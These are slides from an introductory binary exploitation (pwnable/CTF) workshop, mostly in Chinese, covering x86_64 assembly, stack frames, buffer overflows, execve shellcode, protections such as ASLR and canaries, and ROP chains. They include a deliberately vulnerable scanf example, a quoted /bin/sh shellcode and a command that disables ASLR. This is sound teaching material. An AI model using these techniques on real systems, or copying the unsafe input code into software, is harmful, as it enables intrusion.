Pwnable 101
by HexRabbit @ CCNS
http://discord.gg/ktSHKSq
https://slides.com/hexrabbit/pwnable-101/live
Pwnable 是甚麼 ?
Origin of "pwn"
In 1994 Blizzard released Warcraft: Orcs & Humans. In one of the maps, the designer typo'd the message "you have been owned" to be "you have been pwned."
In 1997 Blizzard released Diablo. Certain mobs would say that "they will own you", however they pronounced it more like "they will puh-own you."
CTF
遊戲化的資安競賽
本次的練習題
https://github.com/HexRabbit/pwnable101
Useful tools
Useful tools
gdb - powerful dynamic analyzer
Useful tools
-
常用指令
-
gdb
-
p [variable]
-
x/[size][type] [pointer]
-
break
-
ni/si
-
n/s
- disas
- vmmap
-
-
- size
-
b/h/w/g
-
- type
-
i/s/d/t
-
Useful tools
IDA pro - 不可或缺的decomplier
Useful tools
objdump / readelf - 快速分析 header/code
Basic knowledge
Outline
- ELF format
- Assembly
- Endianness
- Registers
- Stack frame
- Calling convention
- Memory layout
ELF format
char *str = "Hello world";
int A;
int main() {
int B = 1337;
printf("DC yelled %s", str);
return 0;
}
That's how your program look like.
Assembly
push rbp
mov rbp,rsp
sub rsp,0x70
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
xor eax,eax
mov eax,0x0
call 0xa6e <init>
mov DWORD PTR [rbp-0x64],0x0
jmp 0xc97 <main+223>
mov eax,0x0
call 0xacc <print>
lea rsi,[rip+0x2014a6]
lea rdi,[rip+0x238]
mov eax,0x0
call 0x900 <__isoc99_scanf@plt>
mov eax,DWORD PTR [rip+0x20148f]
cmp eax,0x1
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp
mov %fs:0x28,%rax
mov %rax,-0x8(%rbp)
xor %eax,%eax
mov $0x0,%eax
callq 0xa6e <init>
movl $0x0,-0x64(%rbp)
jmpq 0xc97 <main+223>
mov $0x0,%eax
callq 0xacc <print>
lea 0x2014a6(%rip),%rsi
lea 0x238(%rip),%rdi
mov $0x0,%eax
callq 0x900 <__isoc99_scanf@plt>
mov 0x20148f(%rip),%eax
cmp $0x1,%eax
intel
AT&T
Assembly
push rbp
mov rbp,rsp
sub rsp,0x70
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
xor eax,eax
mov eax,0x0
call 0xa6e <init>
mov DWORD PTR [rbp-0x64],0x0
jmp 0xc97 <main+223>
mov eax,0x0
call 0xacc <print>
lea rsi,[rip+0x2014a6]
lea rdi,[rip+0x238]
mov eax,0x0
call 0x900 <__isoc99_scanf@plt>
mov eax,DWORD PTR [rip+0x20148f]
cmp eax,0x1
intel
- 通常是由右向左賦值 (intel)
- 無法操作記憶體到記憶體
- 常見的 x86_64 asm 指令
- xor
- mov
- sub
- call
- jmp (series)
- lea (特殊)
- cmp
- test
- push
- pop
珍惜生命,遠離 AT&T
Endianness
Big Endian
Little Endian
儲存一個 word 時所使用的 byte order
4 byte int = 0x01234567
Registers
rax | rbx | rcx |
rdx | rsi | rdi |
rbp | rsp | r8 ~ r15 |
- rax 的 "r" 表示 64bit,在這之下還有 eax, ax, ah, al
Registers
-
rax - 儲存回傳值
-
rdi - 第一個參數
-
rsi - 第二個參數
-
rdx - 第三個參數
-
rcx - 第四個參數
-
rbp - 指向目前 stack frame 的底部
-
rsp - 指向目前 stack frame 的頂部
-
rip - 指向下一個指令
( Linux )
Stack frame
-
可以視為是一個狀態的快照
-
每次 function call 時都會在舊的之上建立新的 stack frame
-
由程式碼建立,但不是程式碼
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfc0
rbp = 0xffffdff0
rip = 0xf7a67c07
Stack
???
???
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb8
rbp = 0xffffdff0
rip = 0x4006a6
???
???
Stack
0xf7a67c09
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0x4006a7
???
???
Stack
0xf7a67c09
0xffffdff0
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdfb0
rip = 0x4006aa
0xf7a67c09
???
???
0xffffdff0
Stack
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdf90
rbp = 0xffffdfb0
rip = 0x4006ae
0xf7a67c09
???
???
stack data
Stack
0xf7a67c09
0xffffdff0
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdf90
rbp = 0xffffdfb0
rip = 0x400c08
0xf7a67c09
???
???
stack data
Stack
0xf7a67c09
0xffffdff0
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdfb0
rip = 0x400c09
???
???
leave = mov rsp, rbp; pop rbp;
Stack
0xf7a67c09
0xffffdff0
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0x400c09
0xf7a67c09
???
???
Stack
leave = mov rsp, rbp; pop rbp;
Calling convention
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0xf7a67c09
???
???
ret = pop rip;
Stack
Memory layout
-
可以使用 gdb 的 info proc mapping 指令於執行時期印出記憶體布局
- stack 向下長
- heap 向上長
Exploitations
Practice 1
Buffer overflow
一般發生於程式設計者沒有妥善的處理輸入的邊界,造成輸入長度超過給定的 buffer 發生溢出,破壞附近的其他資料,更可能控制程式流程。
根據溢出位置可分為
- stack base
- data base
- heap base
#include <stdio.h>
int main() {
char vuln[10];
scanf("%s", vuln);
printf("%s", vuln);
return 0;
}
看看你寫的 code
Buffer overflow
Stack
ret address
???
???
saved rbp
stack data
vuln
stack data
char vuln[10];
scanf("%s", vuln);
type: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141
return;
= pop rip
rip = 0x41414141
practice 2
exploit by using pwntools
Buffer overflow
Shellcode
- 即是將一串組合語言撰寫的攻擊代碼以十六進位呈現,利用的方式則是想辦法將 PC 控制到注入代碼上
# Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
/*
; execve("/bin/sh", ["/bin/sh"], NULL)
section .text
global _start
_start:
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
*/
http://shell-storm.org/shellcode/
Syscall
https://w3challs.com/syscalls/?arch=x86_64
Shellcode
Practice 3
Protection
ASLR
- 全名為 Address Space Layout Randomization
- 每次程式運行時,各個區塊(如stack/shared lib)都會被映射到隨機的記憶體區段
- Linux kernel 預設開啟
- 分為三種等級,可以用指令設定
-
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-
ASLR
用 ldd 或是開 ncat 並用 gdb 接上觀察
- ncat -vc path-to-elf -kl localhost 4000
- ldd path-to -elf
- gdb> attach pid
DEP (NX)
-
全名為 Data Execution Prevention / No Execute
PIE
- 全名為 Position Independent Executable
- 將原先固定記憶體位置的 .text 段也做 ASLR
- 編譯時加入 -fPIE -pie 選項開啟
- 其實就是將 ELF 做成類似 shared library 的形式
Stack guard (Canary)
- 主要用來防止 buffer overflow
- 每次呼叫函數時會被放在 stack frame 中 的 return address 和 saved base pointer 上方
- 原理是透過放置一亂數於 stack 上,並在函數返回時檢查是否和一開始相等
Stack guard (Canary)
Stack
ret address
???
???
saved rbp
stack data
canary
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rax, QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8], rax
mov rdx, QWORD PTR [rbp-0x8]
xor rdx, QWORD PTR fs:0x28
???
???
???
???
???
???
???
...
je 4005fc
call 400480 <__stack_chk_fail@plt>
leave
ret
0x41414141
0x41414141
0x41414141
0x41414141
0xdeadbeef |
---|
fs:0x28
0x41414141 |
---|
rdx
道高一尺,魔高一丈
ROP
Return Oriented Programming
ROP
- ROP 的精巧之處在於他不直接寫入 shellcode,而是利用多個已經存在程式中的 "gadget" 來構造所需的程式碼,便可繞過 NX 保護
pop rsi ;
pop r15 ;
ret
pop rdi ;
ret
leave ;
ret
syscall ;
ret
ROP
pop rsi ;
pop r15 ;
ret
pop rdi ;
ret
xor eax, eax ;
ret
syscall ;
ret
Stack
ret address
saved rbp
vuln
0x4008af
0x400a05
0x40070b
0x4008b1
0x4008b1
0x400a05
0
0x40070b
0x4008af
0x7fffffa0b8
0xdeadbeef
0x41414141 0x41414141 0x41414141
read(0, 0x7fffffa0b8, $rdx)
任意地址寫入!
$rax = 0 (read) $rdi = 0 (stdin) $rsi = 0x7fffffa0b8 (address) $rdx = ? (length)
ROP
- 多半利用腳本搜尋 e.g. ROPgadget
- 使用前提是存在 buffer overflow
- 最終目標為構造
- execve("/bin/sh", NULL, NULL)
- system("sh")
- 一個簡單程式的 .text 段可能沒有太多可用的 gadget
- 因為有 ASLR ,無法預先得知 libc 的位置
GOT / PLT
- 全名為: Global Offset Table 和
Procedure Linkage Table - 透過兩者的交互作用,可以達到動態連結函式庫的作用
- http://brandon-hy-lin.blogspot.tw/2015/12/shared-library-plt-got.html
Pwnable 101
By HexRabbit
Pwnable 101
- 1,295